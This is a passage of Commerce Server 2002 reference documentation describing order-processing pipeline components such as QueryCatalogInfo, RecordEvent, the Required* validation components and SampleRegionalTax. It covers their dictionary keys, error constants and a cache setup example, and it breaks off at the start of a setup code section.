For more information about using pipeline components outside of pipelines, see MicroPipe Object.

See Also

MakePO


QueryCatalogInfo

Use this component to retrieve catalog information for every item in the order form.

Note

  • This component replaces the older QueryProdInfoADO component. The QueryCatalogInfo component works with the new Commerce Server 2002 catalog structure rather than performing product table lookups.

Intended use: Order Processing pipeline, Product Info stage.

Configuration Values

None.

Values Read

The QueryCatalogInfo component reads the following values from the indicated dictionary.

Key | Dictionary | Description
CacheManager | Context | A reference to a CacheManager object.
catalog_language | Context | Optional. String. The language of the data being retrieved from the catalog.
CatalogManager | Context | A reference to a CatalogManager object.
item.product_catalog | Order | String. The catalog containing the item.
item.product_id | Order | String. The product identifier.
item.product_variant_id | Order | Optional. String. An additional identifier used to distinguish variants of a particular product such as different colors of an item.
item.catalog_language | Order | Optional. String. The language of the data being retrieved from the catalog.

Values Written

The QueryCatalogInfo component writes the following values to the Order dictionary.

Key | Description
item._product_* | Optional. Product properties for each item. The column name is appended to form the key name. For more information, see the Remarks section.
item.delete | Optional. A flag indicating the item should be deleted from the order. For more information, see the Remarks section.

Remarks

The QueryCatalogInfo component retrieves product information from the catalog system for every item in the order. It adds the retrieved information to each Item dictionary in the order form.

Items are identified by a combination of the product_catalog, product_id, product_variant_id, and catalog_language keys. The product_variant_id key is required only if the product is a variant, such a particular color of an item that comes in multiple colors. The catalog_language key is required only if the product is available in more than one language.

If the catalog_language key is changed for any items while they are in the order form, the next time the Order Processing pipeline is run, it will check to see that the items are still valid in the specified language. If the language is missing, then product information is retrieved in the default language of the catalog. If the language is specified and is valid for the catalog, then the info in the specified language is retrieved. If the language is specified and not valid for that catalog, the properties of the item from the default language will be returned.

If no data is found for an item, the QueryCatalogInfo component marks the item for deletion by creating a key in the Item dictionary. The key, delete, is assigned a value of one (1). The RequiredProdInfo component checks for this flag and deletes the item if the key is found. Typically, this deletion occurs when an item in the basket is removed from a catalog.

If data for an item is found, the QueryCatalogInfo component writes an entry to the corresponding Item dictionary for every property. The name of the entry is the prefix _product_ followed by the property name. For example, a product property named "weight", would be stored as _product_weight. The value of the entry is set to the corresponding data from the catalog system.

The catalog_language key can be set individually for each line item. However, this will be slower than setting the catalog_language key at the pipe_context level. If no language is specified the default language for the catalog is used. This component does not detect when a catalog supports a given language, but localization has not occurred for the line item.

The QueryCatalogInfo component requires a CacheManager object with a QueryCatalogInfoCache data structure in its PipeContext Dictionary. The QueryCatalogInfo component uses this data structure to cache the product and category information it applies to line items

The following code is used to setup the cache in the Global.asa file:

    ' Initialize dictQCICacheConfig
    Set dictQCICacheConfig = Server.CreateObject("Commerce.Dictionary")
    dictQCICacheConfig("ConnectionString") _
     = _dictConfig.s_TransactionConfigConnectionString
    dictQCICacheConfig("CacheSize") = 10000
    dictQCICacheConfig("TableName") = "CatalogCache_Virtual_Directory"
    dictQCICacheConfig("CacheName") = "CatalogCache"
    dictQCICacheConfig("AppUrl") = sMachineBaseURL

    ' Configure CacheManager For QueryCatalogInfoCache
    oCacheManager.RefreshInterval("QueryCatalogInfoCache") = 60 * 60
    oCacheManager.RetryInterval("QueryCatalogInfoCache") = 5 * 60
    oCacheManager.CacheObjectProgId("QueryCatalogInfoCache") _
     = "Commerce.LRUCache"
    oCacheManager.LoaderProgId("QueryCatalogInfoCache") _
     = "Commerce.LRUCacheFlush"
    Set oCacheManager.LoaderConfig("QueryCatalogInfoCache") _
     = dictQCICacheConfig

See Also

RequiredProdInfo


QueryProdInfoADO

Use this component to retrieve product information from a database.

Note

  • Use the new QueryCatalogInfo for new applications to take advantage of the new Commerce Server 2002 catalog API.

Intended use: Order Processing pipeline, Product Info stage.

Configuration Values

You can determine the query the QueryProdInfoADO component runs by setting component properties. Use the following boxes on the Query Prod Info (ADO) tab of the Component Properties dialog box to determine this information.

Box | Description
Connection String | The connection string to connect to the database. This may be a full connection string or a name in a connection map. If blank, the default connection string is passed through.
Query | The full SQL text of the query this component will run, or the name of a query whose full SQL text is defined in the Global.asa file in the QueryMap key.
Parameter List | A space-separated list of the parameters to pass to the query. The stockkeeping unit (SKU) for an item (item.sku) is commonly used.

Values Read

The QueryProdInfoADO component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
DefaultConnectionString | Context | Optional. The key in the Application dictionary containing the default query string.
ConnectionStringMap | Context | Optional. The map in which to look up the name of a mapped connection string.
QueryMap | Context | Optional. A reference to a dictionary containing a query map.

Values Written

The QueryProdInfoADO component writes the following values to the Order dictionary.

Key | Description
item._product_* | The product information for each SKU found, added to the Item dictionary in the Order dictionary. The column name is appended to form the key name.
item.delete | A deletion flag, set to one (1) for an item if it is not found. The item will be deleted from the order.

Remarks

The QueryProdInfoADO component runs a database query to retrieve data about products on the order form. If unique data for the specified query is found, then for each column retrieved by the query, the component writes the data into the item._product_columnvalue keys in the Item dictionary of the order form. This makes product information available to components later in the pipeline.

The connection string must include either the full connection string (the data source name (DSN), database login ID, and database password) or the name of a named connection stored in the connection map.

If you add new columns to the product database table, and if this information is needed by any component in the pipeline, then you must add the column to the query used by the QueryProdInfoADO component.

If data for the specified SKU is found, then for each column retrieved by the query, the QueryProdInfoADO component writes a key and value pair to the Item dictionary. The key consists of the prefix _product_, followed by the column name. Thus, for example, the data in a table column named col would be placed in the value of item._product_col. Finally, the QueryProdInfoADO component initializes the value to contain the data stored in the appropriate column.

If no rows or more than one row are returned by the query, the QueryProdInfoADO component writes a key named delete to the Item dictionary, initializes the delete item to 1 (marking it for deletion) and moves on to the next item. Items marked for deletion are removed from the order form, typically by the RequiredProdInfo component.


RecordEvent

Use this component to record event delta counts for the selected content items (the winners) in the Performance dictionary.

Although this component appears as RecordEvent in the Pipeline Editor, its ProgID is Commerce.CSFRecordEvent.

Intended use: Content Selection or Event Processing pipeline, Record stage; Order Processing pipeline, Receipt stage.

Configuration Values

None.

Values Read

The RecordEvent component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
_event | Order | A string containing the name of the event to record.
_eventcount | Order | Optional. A SimpleList object containing the number of events to record for each winning content item. It must contain the same number of elements as the _winners list. One event is recorded for each winning item if this key is not present.
_winnerindexes | Order | A SimpleList object containing the ContentList object indexes of the winning content items. If this key is present, the _winners key should not be present. If both are present, only this key is used.
_winners | Order | A SimpleList object containing values from the item_id keys of the selected (winning) content items. If this key is present, the _winnerindexes key should not be present. If both are present, only the _winnerindexes key is used.
_performance | Order | Specifically, the previous event delta count for the various content items.
_content.item_id | Order | The item_id key for the various content items contained in the ContentList referenced by _content. If the _content key is present, the referenced ContentList object must have a column named item_id.

Values Written

The RecordEvent component writes the following values to the Order dictionary.

Key | Description
_performance | The Performance dictionary. This key will contain the new event delta counts for the various content items.
_content.invalid_nod | A Boolean flag for each item in the ContentList object. Set this key to True if the item needs to have the Need of Delivery (NOD) re-calculated.

Remarks

The following are the names of the pre-defined events for campaigns:

  • REQUEST. A content request event.
  • CLICK. A click event for an ad or a promotion.
  • DOWNLOAD. A download of a GIF image or other advertising asset from the Web server.
  • SOLD. An item sold event, such as for a promotion or bounty ad.

You can record custom events by adding custom event names to the event_type table in your campaigns database.

This component flags whether or not the NOD values of the winning content items need to be re-calculated. The flag is set to True if the Item dictionary has a NOD key and if the event name matches the type of event the item is scheduled by.

The NOD values can be recomputed in the absence of a ContentList object (when the _Content key is not present) if the _winners key is passed instead of the _winnerindexes key.

The Performance dictionary contains a subdictionary for each content item for which an event has occurred, keyed by the item_id key. Each subdictionary maps event names to a count of the number of new occurrences of that event. Periodically, the total in the database for each event for each content item will be incremented by this amount. The RecordEvent component is responsible for creating keys in these dictionaries as needed and incrementing the corresponding values. The WriteEvents cache component is responsible for recording the increments in the running totals in the database.


RecordHistory

Use this component to record the identifiers of the winning content items in the history list string.

Although the component appears as RecordHistory in the Pipeline Editor, its ProgID is Commerce.CSFRecordHistory.

Intended use: Content Selection pipeline, Record stage.

Configuration Values

You can determine how many items the RecordHistory component saves in the string by setting component properties. Use the following box on the Record History tab of the Component Properties dialog box to determine this information.

Box | Description
Maximum number of items to store in history string | Numeric. The maximum number of items saved in the history string. The default is 35.

Values Read

The RecordHistory component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
_history | Order | The history string retrieved by the LoadHistory component.
_winnerindexes | Order | A SimpleList object containing the ContentList object indexes of the winning content items. If this entry is present, the _winners key should not be present. If both are present, only this key is used.
_winners | Order | A SimpleList object containing the values from the item_id keys of the winning content items. If this entry is present, the _winnerindexes key should not be present. If both are present, only the _winnerindexes key is used.
_content | Order | The item_id key for the various content items contained in the ContentList object referenced by the _content key. The item_id key is automatically looked up if the _winnersindexes key is passed instead of the _winners key.

Values Written

The RecordHistory component writes the following values to the Order dictionary.

Key | Description
_history | The updated history list string.

Remarks

The RecordHistory component is responsible for managing the size of the history list and truncates it when necessary. The component removes the oldest entries from the string when it exceeds the maximum length.

The property page for the RecordHistory component allows the maximum number of entries in the history to be configured. This component trims the least recent history list entries, as necessary, to assure that this limit is not exceeded.

See Also

ContentList Object

SimpleList Object


RequiredHandlingCy, RequiredHandling

Use this component to verify that the handling total is present in the order.

The RequiredHandling component is for backward compatibility only. The RequiredHandlingCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines. For more information, see Currency Enhancements.

Intended use: Order Processing pipeline, Handling stage.

Configuration Values

None.

Values Read

The RequiredHandlingCy component reads the following values from the indicated dictionaries. The RequiredHandling component reads the same key but without cy_.

Key | Dictionary | Description
_cy_handling_total | Order | The total cost for handling the order.
MessageManager | Context | A reference to a MessageManager object. This key is used to retrieve the bad-handling total constant (pur_badhandling) in case of an error.

Values Written

The RequiredHandlingCy and RequiredHandling components write the following value to the Order dictionary.

Key | Description
_Purchase_Errors | Error messages are written to this SimpleList object.

Errors

The RequiredHandlingCy and RequiredHandling components return error level 2 (OPPERRORLEV_WARN) when the handling total is not in the order form. Other errors return error level 3 (OPPERRORLEV_FAIL).

The components write error messages to the _Purchase_Errors collection. The components use a MessageManager object to retrieve user warning message text.

Constant | Condition
pur_badhandling | The handling total is not in the order form.

Remarks

The RequiredHandlingCy and RequiredHandling components verify that the order._handling_total key is present.

See Also

MessageManager Object


RequiredItemAdjustPriceCy, RequiredItemAdjustPrice

Use these components to ensure that the current price for each item in the order is set and that it has not been changed.

The RequiredItemAdjustPrice component is for backward compatibility only. The RequiredItemAdjustPriceCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines. For more information, see Currency Enhancements.

Intended use: Order Processing pipeline, Item Adjust Price stage.

Configuration Values

None.

Values Read

The RequiredItemAdjustPriceCy component reads the following values from the indicated dictionaries. The RequiredItemAdjustPrice component reads the same key but without cy_.

Key | Dictionary | Description
item._cy_iadjust_currentprice | Order | Reads the current price of each item in the items collection in the OrderForm object.
item._cy_iadjust_regularprice | Order | Reads the regular price of each item in the items collection in the OrderForm object.
item.cy_placed_price | Order | Reads the placed price of each item in the items collection in the OrderForm object. For more information, see the Remarks section.
MessageManager | Context | A reference to a MessageManager object. This key is used to retrieve the bad-handling total constant (pur_badplacedprice) in case of an error.

Values Written

The RequiredItemAdjustPriceCy component writes the following values to the Order dictionary. The RequiredItemAdjustPrice component writes the same keys but without cy_.

Key | Description
item.cy_placed_price | Writes the placed price of an item in the items collection in the OrderForm object. For more information, see the Remarks section.
item._cy_iadjust_currentprice | Writes the adjusted current price of an item in the items collection in the OrderForm object.
_Basket_Errors | Error messages are written to this SimpleList object.

Errors

The RequiredItemAdjustPriceCy and RequiredItemAdjustPrice components return error level 2 (OPPERRORLEV_WARN) when the placed price is not equal to the current price. Other errors return error level 3 (OPPERRORLEV_FAIL).

These components write error messages to the _Basket_Errors collection. These components use a MessageManager object to retrieve user warning message text.

Constant | Condition
pur_badplacedprice | The placed price is not equal to the current price — the current price has changed since the item was added to the basket.

Remarks

The RequiredItemAdjustPriceCy and RequiredItemAdjustPrice components perform the same actions although on different dictionary keys. The following discussion uses the keys for the RequiredItemAdjustPriceCy component.

The RequiredItemAdjustPriceCy component verifies that the current price (_cy_iadjust_currentprice) exists for each item in the items list. If this value does not exist, the component creates it and initializes it to the regular price (_cy_iadjust_regularprice).

In addition, the component checks the placed price (cy_placed_price) against the current price (cy_iadjust_currentprice) to see if the current price has changed since the user placed the item in the basket. If the placed price does not exist, the component creates it and sets it to the current price (cy_iadjust_currentprice). If the placed price exists, but is not equal to the current price, the RequiredItemAdjustPriceCy component retrieves the warning message text for a bad placed price from the MessageManager object, and writes this message to the _Basket_Errors collection of the order form.


RequiredItemPriceCy, RequiredItemPrice

Use this component to verify that each item in the order form has a regular price assigned to it. Regular prices are assigned by the DefaultItemPrice component and similar components.

The RequiredItemPrice component is for backward compatibility only. The RequiredItemPriceCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines. For more information, see Currency Enhancements.

Intended use: Order Processing pipeline, Item Price stage.

Configuration Values

None.

Values Read

The RequiredItemPriceCy component reads the following values from the indicated dictionaries. The RequiredItemPrice component reads the same key but without cy_.

Key | Dictionary | Description
item._cy_iadjust_regularprice | Order | The regular price of an item.

Values Written

None.

Remarks

The RequiredItemPriceCy and RequiredItemPrice components perform the same actions although on different dictionary keys. The following discussion uses the keys for the RequiredItemPriceCy component.

The RequiredItemPriceCy component verifies that the _cy_iadjust_regularprice key has been set for each item in the items list.

Before the RequiredItemPrice component is run, the items list should have been initialized by the DefaultItemPriceCy component to contain the most current pricing information for the item.

If the _cy_iadjust_regularprice key does not contain a value, an error is raised.

See Also

DefaultItemPriceCy, DefaultItemPrice


RequiredOrderAdjustPriceCy, RequiredOrderAdjustPrice

Use these components to adjust the total cost of each item in an order after applying any discounts.

Use these components to calculate the cost of undiscounted items and the amount of a discount for all items in the order.

The RequiredOrderAdjustPrice component is for backward compatibility only. The RequiredOrderAdjustPriceCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines.

Intended use: Order Processing pipeline, Order Adjust Price stage.

Configuration Values

None.

Values Read

The RequiredOrderAdjustPriceCy component reads the following values from the indicated dictionaries. The RequiredOrderAdjustPrice component reads the same keys but without cy_.

Key | Dictionary | Description
item._n_unadjusted | Order | The quantity of this item that have not been discounted.
item._cy_iadjust_currentprice | Order | The current price of an item.
item._cy_oadjust_adjustedprice | Order | The total price of all the items, after all the discounts have been applied.
item.quantity | Order | The total quantity of an item.

Values Written

The RequiredOrderAdjustPriceCy component writes the following values to the indicated dictionaries. The RequiredOrderAdjustPrice component writes the same keys but without cy_.

Key | Description
item._cy_oadjust_adjustedprice | The total price of all the items, after all the discounts have been applied.
item._cy_oadjust_discount | The discount on an item.

Remarks

The RequiredOrderAdjustPriceCy and RequiredOrderAdjustPrice components perform the same actions although on different dictionary keys. The following discussion uses the keys for the RequiredOrderAdjustPriceCy component.

The RequiredOrderAdjustPriceCy component processes each item in the items collection of the OrderForm object.

For each item, the RequiredOrderAdjustPriceCy component first calculates the cost of the non-discounted quantity. It multiplies the current price of the item (_cy_iadjust_currentprice) by the undiscounted quantity of the item (_n_unadjusted) and adds it to the total cost of the item (_cy_oadjust_adjustedprice).

Next, it calculates the discount for the item (_cy_oadjust_discount) by calculating the total cost for the item (multiplying the current price of the item (_cy_iadjust_currentprice) by the total quantity (quantity)) and subtracting the previously calculated cost of the undiscounted items.

The RequiredOrderAdjustPriceCy component is visible in the Pipeline Editor only when the Editor is run in expert mode.


RequiredOrderCheck

Use this component to verify that the order form contains at least one item.

Intended use: Order Processing pipeline, Order Check stage.

Configuration Values

None.

Values Read

The RequiredOrderCheck component reads the following value from the indicated dictionary.

Key | Dictionary | Description
MessageManager | Context | A reference to a MessageManager object that is used to retrieve the "no items in order" constant (pur_noitems) in case of an error.

Values Written

The RequiredOrderCheck component writes the following values to the Order dictionary:

Key | Description
_Purchase_Errors | Error messages are written to this SimpleList object.

Errors

The RequiredOrderCheck component returns error level 2 (OPPERRORLEV_WARN) when there are no items in the OrderForm. Other errors return error level 3 (OPPERRORLEV_FAIL).

The components write error messages to the _Purchase_Errors collection. The components use a MessageManager object to retrieve user warning message text.

Constant | Condition
pur_noitems | There are no items in the OrderForm object.

Remarks

The RequiredOrderCheck component ensures that the items list of the OrderForm object is not empty.

See Also

MessageManager Object


RequiredOrderInitCy, RequiredOrderInit

Use this component to initialize the payment authorization code, order ID, totals, and subtotals in an order form.

The RequiredOrderInit component is for backward compatibility only. The RequiredOrderInitCy component operates in both 3.0 compatibility mode and in 4.0 mode pipelines. For more information, see Currency Enhancements.

Intended use: Order Processing pipeline, Order Initialization stage.

Configuration Values

None.

Values Read

The RequiredOrderInitCy and RequiredOrderInit components read the following values from the indicated dictionaries.

Key | Dictionary | Description
order_id | Order | The ID of the order.
item.quantity | Order | The quantity of an item.

Values Written

The RequiredOrderInitCy component writes the following values to the Order dictionary. The RequiredOrderInit component writes the same keys but without cy_.

Key | Description
order_id | The ID of the order.
item._cy_oadjust_adjustedprice | The total price of all the items, after all the discounts have been applied.
item._n_unadjusted | The number of items that have not been discounted.
_cy_total_total | The total cost of the order.
_cy_oadjust_subtotal | The subtotal of all items in the items list.
_cy_shipping_total | The total cost of shipping all items in the order.
_cy_tax_total | The total tax for the order.
_cy_handling_total | The total handling cost for the order.
_payment_auth_code | The payment authorization code.

Remarks

The RequiredOrderInitCy and RequiredOrderInit components perform the same actions although on different dictionary keys. The following discussion uses the keys for the RequiredOrderInitCy component.

First, the RequiredOrderInitCy component ensures that the order_id key has a value. If it does not, the RequiredOrderInitCy component generates a unique order ID and assigns it to this key.

Next, to ensure order integrity, the component initializes the following keys by assigning NULL to them:

_cy_total_total
_cy_oadjust_subtotal
_cy_shipping_total
_cy_tax_total
_cy_handling_total
_cy_tax_included
_payment_auth_code

Finally, for each item in the items collection, the RequiredOrderInitCy component copies the value stored in the quantity key to the _n_unadjusted key to initialize the undiscounted quantity of the item, and initializes the _oadjust_adjustedprice (the total cost of the item) key to zero (0).


RequiredOrderSubtotalCy, RequiredOrderSubtotal

Use this component to ensure that the subtotal of all items in the item list of an order exist so that order totals are properly calculated.

The RequiredOrderSubtotal component is for backward compatibility only. The RequiredOrderSubtotalCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines. For more information, see Currency Enhancements.

Intended use: Order Processing pipeline, Order Subtotal stage.

Configuration Values

None.

Values Read

The RequiredOrderSubtotalCy component reads the following value from the indicated dictionary. The RequiredOrderSubtotal component reads the same key but without cy_.

Key | Dictionary | Description
_cy_oadjust_subtotal | Order | The subtotal of all items in the item list of the order.

Values Written

None.

Remarks

Both the RequiredOrderSubtotalCy and RequiredOrderSubtotal components check the _oadjust_subtotal key in the OrderForm object to ensure that the value assigned to it is not NULL.

The RequiredOrderSubtotalCy component is visible in the Pipeline Editor only when the Editor is run in expert mode.


RequiredPayment

Use this component to verify that the payment authorization code exists in the order form (is not NULL).

Intended use: Order Processing pipeline, Payment stage.

Configuration Values

None.

Values Read

The RequiredPayment component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
_payment_auth_code | Order | The payment authorization code for the order form.
MessageManager | Context | A reference to a MessageManager object that is used to retrieve the bad payment constant (pur_bad_payment) in case of an error.

Values Written

The RequiredPayment component writes the following values to the Order dictionary.

Key | Description
_Purchase_Errors | Error messages are written to this SimpleList object.

Errors

This component writes an error message to the _Purchase_Errors collection. The component uses a MessageManager object to retrieve user warning message text.

Constant | Condition
pur_badpayment | The payment authorization code is missing from the order form.

Remarks

If the payment authorization code does not exist (is equal to NULL), the RequiredPayment component retrieves the error for the pur_badpayment constant from the MessageManager object, and writes this error to the _Purchase_Errors collection of the OrderForm object.

See Also

MessageManager Object


RequiredProdInfo

Use this component to delete items flagged for deletion by a previous Product Info stage component.

Intended use: Order Processing pipeline, Product Info stage.

Configuration Values

None.

Values Read

The RequiredProdInfo component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
item.delete | Order | A flag on an item in the items collection of the OrderForm object. This key is created and set by another pipeline component.
MessageManager | Context | A reference to a MessageManager object that is used to retrieve the bad stockkeeping unit (SKU) constant (pur_badsku) in case of an error.

Values Written

The RequiredProdInfo component writes the following values to the Order dictionary.

Key | Description
_Basket_Errors | Error messages are written to this SimpleList object.

Errors

The component writes an error message to the _Basket_Errors collection. The component uses a MessageManager object to retrieve user warning message text.

Constant | Condition
pur_badsku | One or more items were deleted from the order.

Remarks

The RequiredProdInfo component checks all items in the items collection in the OrderForm object and deletes any items with a delete key set to 1 (one). Components that set this key include QueryCatalogInfo and QueryProdInfoADO.

If the RequiredProdInfo component deletes any items from the items collection, it uses the pur_badsku constant to retrieve error message text from the MessageManager object and stores this message in the _Basket_Errors collection of the OrderForm object so that the application can report the problem with the item to the user.

See Also

QueryCatalogInfo

QueryProdInfoADO


RequiredShippingCy, RequiredShipping

Use these components to verify that the shipping total has been set.

The RequiredShipping component is for backward compatibility only. The RequiredShippingCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines. For more information, see Currency Enhancements.

Intended use: Order Processing pipeline, Shipping stage.

Configuration Values

None.

Values Read

The RequiredShippingCy component reads the following values from the indicated dictionaries. The RequiredShipping component reads the same key but without cy_.

Key | Dictionary | Description
_cy_shipping_total | Order | The total shipping cost for the order.
MessageManager | Context | A reference to a MessageManager object that is used to retrieve the bad-shipping total constant (pur_badshipping) in case of an error.

Values Written

The RequiredShippingCy and RequiredShipping components write the following value to the Order dictionary.

Key | Description
_Purchase_Errors | Error messages are written to this SimpleList object.

Errors

The RequiredShippingCy and RequiredShipping components return error level 2 (OPPERRORLEV_WARN) when the handling total is not in the order form. Other errors return error level 3 (OPPERRORLEV_FAIL).

The components also write an error message to the _Purchase_Errors collection. The components use a MessageManager object to retrieve error message text.

Constant | Condition
pur_badshipping | The shipping total key does not exist in the order.

Remarks

The RequiredShippingCy and RequiredShipping components perform the same actions although on different dictionary keys. The following discussion uses the keys for the RequiredShippingCy component.

The RequiredShippingCy component verifies that the _cy_shipping_total key exists in the order form. If the value does not exist, it uses the pur_badshipping constant to retrieve error message text from the MessageManager object and stores this message in the _Purchase_Errors collection of the OrderForm object.

See Also

MessageManager Object


RequiredTaxCy, RequiredTax

Use these components to verify that total tax and tax included appear in the order form.

The RequiredTax component is for backward compatibility only. The RequiredTaxCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines. For more information, see Currency Enhancements.

Intended use: Order Processing pipeline, Tax stage.

Configuration Values

None.

Values Read

The RequiredTaxCy component reads the following values from the indicated dictionaries. The RequiredTax component reads the same key but without cy_.

Key | Dictionary | Description
_cy_tax_total | Order | The total tax for the order.
_cy_tax_included | Order | The amount of tax included in the order.
MessageManager | Context | A reference to a MessageManager object that is used to retrieve the bad tax constant (pur_badtax) in case of an error.

Values Written

The RequiredTaxCy and RequiredTax components write the following value to the Order dictionary.

Key | Description
_Purchase_Errors | Error messages are written to this SimpleList object.

Errors

The RequiredTaxCy and RequiredTax components return error level 2 (OPPERRORLEV_WARN) when one of the tax items is missing. Other errors return error level 3 (OPPERRORLEV_FAIL).

The components also write an error message to the _Purchase_Errors collection. The components use a MessageManager order to retrieve error message text.

Constant | Condition
pur_badtax | One of the tax items is missing.

Remarks

The RequiredTaxCy and RequiredTax components perform the same actions although on different dictionary keys. The following discussion uses the keys for the RequiredTaxCy component.

The RequiredTaxCy component verifies that the _cy_tax_total and _cy_tax_included keys exist in the order form. If either value does not exist, the RequiredTaxCy component uses the pur_badtax constant to retrieve error message text from the MessageManager object and stores this message in the _Purchase_Errors collection of the OrderForm object.

See Also

MessageManager Object


RequiredTotalCy, RequiredTotal

Use these components to verify that values on a page have not been tampered with or reset. The components compare values in the order against values in the _Verify_With dictionary.

The RequiredTotal component is for backward compatibility only. The RequiredTotalCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines. For more information, see Currency Enhancements.

Intended use: Order Processing pipeline, Order Total stage.

Configuration Values

None.

Values Read

The RequiredTotalCy and RequiredTotal components read the following values from the indicated dictionaries.

Key | Dictionary | Description
_Verify_With | Order | A dictionary whose keys and values will be tested against keys and values in the order form.
MessageManager | Context | A reference to a MessageManager object that is used to retrieve the verification error constant (pur_badverify) in case of an error.

Values Written

The RequiredTotalCy and RequiredTotal components write the following value to the Order dictionary.

Key | Description
_Purchase_Errors | Error messages are written to this SimpleList object.

Errors

The RequiredTotalCy and RequiredTotal components return error level 2 (OPPERRORLEV_WARN) when one or more of the keys and values in the _Verify_With dictionary do not match the corresponding order form entries. Other errors return error level 3 (OPPERRORLEV_FAIL).

The components write error messages to the _Purchase_Errors collection. The components use a MessageManager object to retrieve user warning message text.

Constant | Condition
pur_badverify | At least one of the keys and values in the _Verify_With dictionary did not match the corresponding pair in the order form.

Remarks

The RequiredTotalCy and RequiredTotal components go through the keys and values in the _Verify_With dictionary to ensure that the keys exists in the order form and have the same values.

You can use these components to verify that values on a page have not been tampered with or reset. To verify values on a page, add a hidden field for each item named _VERIFY_WITH that contains the item and the associated value. For, example to verify that the value ship_to_zip has not been altered, you would create a tag on the page similar this:

<INPUT TYPE="HIDDEN" NAME="_VERIFY_WITH"
       VALUE="<% = "ship_to_zip=" & CStr(mmsOrderForm.ship_to_zip) %>">

When the page is posted, the name and value will be added as a key and value to the _Verify_With dictionary in the OrderForm object.

You can use the VerifyWith method of the Page object to create the hidden tags. The ProcessVerifyWith method of the Page object copies the values of the hidden fields into the _Verify_With dictionary in the OrderForm object.

The Order Total stage always performs a _VERIFY_WITH check. Any fields in the post that appear as _VERIFY_WITH="value=key" will verify that the order has such a key and it is set to that value. This prevents a malicious resetting of addresses or contents. If _VERIFY_WITH is not on the order form, no check is performed.

For example, order._total_total should equal (order._VERIFY_WITH)._total_total if _total.total is in the _VERIFY_WITH clause.

See Also

Page.ProcessVerifyWith

Page.VerifyWith


SaleAdjust

Use this component to apply a sale price to an item.

This component is included for backward compatibility only. It has been replaced by the OrderDiscount component.

Intended use: Order Processing pipeline, Item Adjust Price stage.

Configuration Values

None.

Values Read

The SaleAdjust component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
item._product_sale_start | Order | Optional. The date the sale begins.
item._product_sale_end | Order | Optional. The date the sale ends.
item._product_sale_price | Order | The sale price of the item.

Values Written

The SaleAdjust component writes the following values to the Order dictionary.

Key | Description
item._iadjust_currentprice | The current price of the item with the promotion applied.

Remarks

The SaleAdjust component allows you to apply the sale price of an item. If the item is on sale, and if its _iadjust_currentprice key has not been initialized by a component that was previous run, the SaleAdjust component initializes _iadjust_currentprice key to the value stored in item._product_sale_price key.

The SaleAdjust component determines if an item is on sale by comparing the current date to the date values specified for the _product_sale_start key and the _product_sale_end key of the item.

The SaleAdjust component requires that the various sale values exist in the product table of the site database. Otherwise, the OrderForm object will not contain the data needed to calculate the adjusted price of the item (_iadjust_currentprice), and an error message will be generated. The product sale keys are set by the QueryProdInfoADO component in the Product Information stage.

Because the _product_sale_start and _product_sale_end keys are actually date-time pairs that specify midnight, the _product_sale_end key excludes the date specified. Thus, if you want the last day of a promotion to be 3/31, be sure to specify that the promotion ends on 4/1.

See Also

QueryProdInfoADO

OrderDiscount


SampleRegionalTax

Use this component for calculating taxes in pipelines using the multiple shipment features of Commerce Server 2002.

Note

  • The SampleRegionalTax component is not a complete solution to tax calculation. It is provided as an example of a tax component that takes full advantage of the multiple shipment features of Commerce Server 2002. Microsoft strongly recommends that you purchase a third-party tax component.

Intended use: Order Processing pipeline, Tax stage.

Configuration Values

None.

Values Read

The SampleRegionalTax component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
shipments | Order | A SimpleList object of shipments.
item._cy_oadjust_adjustedprice | Order | The total price of all the items, after all the discounts have been applied.
RegionalTaxCache | Context | A reference to a dictionary containing tax information.

In addition, the SampleRegionalTax component reads the following keys from the Addresses dictionary in the OrderForm object.

Key | Description
addresses.country_code | The ship to country/region for the address ID retrieved for the shipment.
addresses.region_code | Optional. The ship to region for the address ID retrieved for the shipment.

Values Written

The SampleRegionalTax component writes the following values to the Order dictionary.

Key | Description
item._cy_tax_total | The total tax for the item.
item._cy_tax_included | The total tax for the item included in the cost. You must set this key to zero (0).
shipment._cy_tax_total | The total tax for the shipment.
shipment._cy_tax_included | The total tax for the shipment included in the cost. You must set this key to zero (0).
_cy_tax_total | The total tax for the order.
_cy_tax_included | The total tax for the order included in the cost. You must set this key to zero (0).

Remarks

The SampleRegionalTax component computes tax for the Commerce Server 2002 shipping architecture that handles multiple shipments. For more information about how Commerce Server processes shipments, see Multiple-shipment Shipping Architecture.

For each shipment in the order, the component first gets the tax rate from the database using the CacheManager object and stores it in the SampleRegionalTaxCache component.

The SampleRegionalTax component then goes through each item in the shipment and calculates its tax based on the rate retrieved from the tax rate table. Rates are retrieved based on the country/region codes in the dictionary of addresses in the Order dictionary. For more information about the dictionary of addresses, see Multiple-shipment Shipping Architecture.

As it goes through the items and shipments in the order, the SampleRegionalTax component accumulates totals for the items, shipments, and, finally, for the entire order.

The tax rate data stored in the SampleRegionalTaxCache component is a snapshot of the RegionalTax database table. The RegionalTax table contains three columns.

Column | Data Type | Description
country_code | String, 255 characters. | The country code.
region_code | String, 255 characters. | The region code.
rate | Float, 8 bytes. | The tax rate.

You may include a wildcard entry (@) for a region code. This will match regions that would not otherwise match. If no entry is found in the RegionalTax table, the rate is zero (0).

Using a pipeline containing the SampleRegionalTax component is very similar to using a Content Selection pipeline. First, you configure the CacheManager object to use the SampleRegionalTaxCache loader in the Application_OnStart section of the Global.asa file. Then, in the Active Server Pages (ASP) page, you add an entry for the CacheManager object to the Context dictionary and invoke the pipeline.

Setup code in the Application_OnStart method:

